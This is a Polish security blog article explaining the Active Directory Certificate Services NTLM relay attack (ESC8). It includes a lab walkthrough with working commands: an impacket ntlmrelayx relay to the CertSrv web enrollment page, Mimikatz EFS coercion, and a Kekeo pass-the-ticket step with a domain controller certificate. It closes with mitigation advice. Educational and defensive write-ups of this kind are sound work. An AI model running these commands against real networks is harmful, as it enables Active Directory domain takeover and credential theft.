Jeśli w firmie posiadasz wdrożoną infrastrukturę klucza publicznego – PKI (ang. „Public Key Infrastructure”) oraz jej serwer zarządzający udostępnia usługę webową (portal) do wydawania certyfikatów to najprawdopodobniej atakujący będą mogli przejąć całą domenę Active Directory! Poniżej dowiesz się w jaki sposób może to zrobić (przeprowadzić atak AD CS Relay Attack) oraz jak się przed tym zabezpieczyć.

Microsoft będzie miał pełne ręce roboty (podobno są świadomi błędu)! Po ostatniej krytycznej podatności PrintNightmare związanej z usługą Print Spooler, która spowodowała spore zamieszanie w społeczności Cybersecurity oraz Serious SAM odkryto kolejny błąd. Tym razem w usłudze PKI (Private Key Infrastructure). Lecz zanim przejdziemy do jego opisu najpierw wyjaśnijmy, czym jest PKI oraz jakie usługi udostępnia.


Krótko o AD CS

Active Directory Certificate Services (AD CS) jest implementacją Infrastruktury Klucza Publicznego (PKI) stworzoną przez Microsoft oraz używaną wśród firm. PKI jest zbiorem: użytkowników, polityk, systemów komputerowych niezbędnych do świadczenia usług uwierzytelniania, szyfrowania, integralności i niezaprzeczalności za pośrednictwem kryptografii klucza publicznego, prywatnego i certyfikatów elektronicznych.
AD CS zapewnia usługę wydawania i zarządzania certyfikatami cyfrowymi poprzez:

  • Certification Authorities (urząd certyfikacji),
  • CA Web Enrollment (Web wydawanie),
  • Online Responders,
  • Network Device Enrollment Service (NDES),
  • Certificate Enrollment Web Service,
  • Certificate Enrollment Policy Web Service

To w usłudze „CA Web Enrollment” (Web wydawanie) badacze bezpieczeństwa odkryli błąd pozwalający przejąć domenę AD.


Niezabezpieczona usługa webowa PKI

W zeszły piątek Benjamin Delpy, twórca narzędzi: Mimikatz oraz Kekeo, pokazał POC jak za pomocą zwykłego konta użytkownika przejąć całą domenę Active Directory.

Problem tkwi w usłudze serwera webowego PKI (komponent aplikacji webowej CertSrv), która nie jest odpowiednio zabezpieczona – używa protokołu NTLM do uwierzytelnienia. Okazuje się, że można przeprowadzić atak typu MITM (man-in-the middle) przejąć certyfikat serwera i wykorzystać go do wygenerowania biletu Kerberos, za pomocą którego możemy przejąć domenę Active Directory.

Benjamin pokazał atak z wykorzystaniem narzędzia impacket i specjalnego ataku NTLMRELAY (moduł ntmlrelayx.py), za pomocą którego był w stanie przejąć certyfikat serwera, a następnie w narzędziu Kekeo wykonać atak Pass-The-Ticket na uprawnieniach konta kontrolera domeny. Na końcu demo pokazał, że za pomocą tego konta można pobrać dowolny hash NTLM konta (atak DCSync w narzędziu Mimikatz), w tym najważniejszego konta serwisowego Kerberos (krbtgt) w Active Directory.

Film z demo ataku możecie zobaczyć poniżej:


Źródło problemu z usługami Certyfikacji w Active Directory

Wszystko rozpoczęło się od opublikowania 17 czerwca przez użytkowników @harmj0y i @tifkin_ niesamowitego badania na temat usług certyfikatów Active Directory (AD CS).
W publikacji opisują szczegółowo i zwracają uwagę na możliwość przekazywania skrótu NTLM hash do usług webowych urzędów certyfikacji Active Directory (kod ESC8). Pokazują jak błędna konfiguracja umożliwia atakującemu usług AD CS przekazanie uwierzytelnienia konta użytkownika/komputera do serwera AD CS i uzyskanie certyfikatu użytkownika/komputera. Gdy atakujący uzyska certyfikat, może zażądać TGT użytkownika/komputera i stać się tym użytkownikiem/komputerem w sieci.

Owa informacją zaczęła się szybko rozpowszechniać w świecie cybersecurity i niedawno zaimplementowano ten atak w narzędziu „ntlmrelayx.py” impacket.


Jak przeprowadzić atak?

W celu przeprowadzenia ataku “AD CS Relay Attack” potrzebujemy serwer z zainstalowanymi narzędziami impacket (z odpowiednią wersją modułu ntlmrelayx.py) oraz Kekeo i Mimikatz.
W celu wykonania scenariusza przygotowaliśmy środowisko składające się z 4 hostów:

  1. Kontroler domeny DC.KAPITAN.HACK (Windows 2019) adres IP – 172.16.215.100.
  2. Serwer Certyfikatów z zainstalowaną usługą Web o nazwie SRV.KAPITAN.HACK, adres IP 172.16.215.150.
  3. Serwer KALI z zainstalowanymi narzędziem impacket, adres IP 172.16.215.6.
  4. Stację roboczą z Windows 10, z której będziemy wykonywali atak z narzędzi Kekeo oraz Mimikatz.

Krok 0 – kompilacja odpowiedniej wersji NtlmRelayX

Instalacja narzędzia impacket z odpowiednią wersją obsługującą AD CS

git clone https://github.com/ExAndroidDev/impacket
cd impacket
git switch ntlmrelayx-adcs-attack p
python3 -m pip install


Krok 1 – przygotowanie NtlmRelayX

Wykonując poniższe polecenie na serwerze Kali przeprowadzimy atak MITM na usługę web wydawania certyfikatów. Po zmiennej „target” musimy podać adres www serwera z usługą CertSrv.

ntlmrelayx.py -debug -smb2support –target http://srv.kapitan.hack/certsrv/certfnsh.asp –adcs –template DomainController


Krok 2 – uruchomienie Mimikatz i wymuszenie żądania o certyfikat

Uruchamiamy narzędzie Mimikatz na stacji roboczej Windows 10 i wykonujemy następujące polecenie w celu wygenerowania certyfikatu

misc::efs /server:dc.kapitan.hack /connect:172.16.215.6 /noauth

Benjamin wykorzystuje w tym przypadku komunikację po protokole MS-EFSR


Krok 3 – skopiowanie certyfikatu z odpowiedzi impacket

Wracamy na serwer Kali, na którym uruchomiliśmy narzędzie Ntmlrelayx.py i kopiujemy wygenerowany CSR (Certificate Request) zakodowany w Base64:

Od teraz wygenerowany certyfikat serwera DC posłuży nam do ataku Pass-the-Ticket.


Krok 4 – wykonanie ataku Pass-th-Ticket

Skopiowany w kroku 3 certyfikat użyjemy do przeprowadzenia ataku Pass-the-Ticket w narzędziu Kekeo.

Uruchamiamy narzędzie Kekeo.exe i przełączamy w tryb wczytywania tekstu w base64:

base64 /input:on

Następnie uruchamiamy moduł tgt (do generowania biletów TGT) i w funkcji „ask” podajemy certyfikat (po przełączniku „pfx”), nazwę użytkownika – w naszym przypadku konto kontrolera domeny DC$ (po przełączniku user), nazwę domeny (po przełączniku domain) oraz uruchamiamy pass-the-ticket (przełącznik ptt):

tgt::ask /fpx kod_certyfikatu_w_base64 /user:DC$ /domain:kapitan.hack /ptt

Jeśli wszystko poprawnie się wykona powinniśmy otrzymać bilet TGT kontrolera domeny. Od teraz będziemy mogli wykonać atak DCSync, którego opis znajdziecie w naszej kampanii CYBER KILLCHAIN.


Jak pozbyć się problemu?

  • Przede wszystkim powinniśmy odinstalować webową usługę generowania certyfikatów CertSvr. Usługa ta nie jest konieczna i można użyć RPC do generowania certyfikatów.
  • Usunąć lub wyłączyć możliwość uwierzytelniania Negotiate/NTLM i włączyć Kerberos.
  • Spróbować wzmocnić ochronę webowej usługi serwera certyfikatów poprzez wdrożenie uwierzytelniania do portalu z obsługą SSL – domyślnie serwer webowy PKI nie posiada certyfikatu.
  • Inne sposoby na zabezpieczenie usługi AD CS możecie znaleźć na końcu tego dokumentu.
  • Rekomendacja Microsoft zamieszczona 23 lipca 2021 roku.
Podziel się z innymi tym artykułem!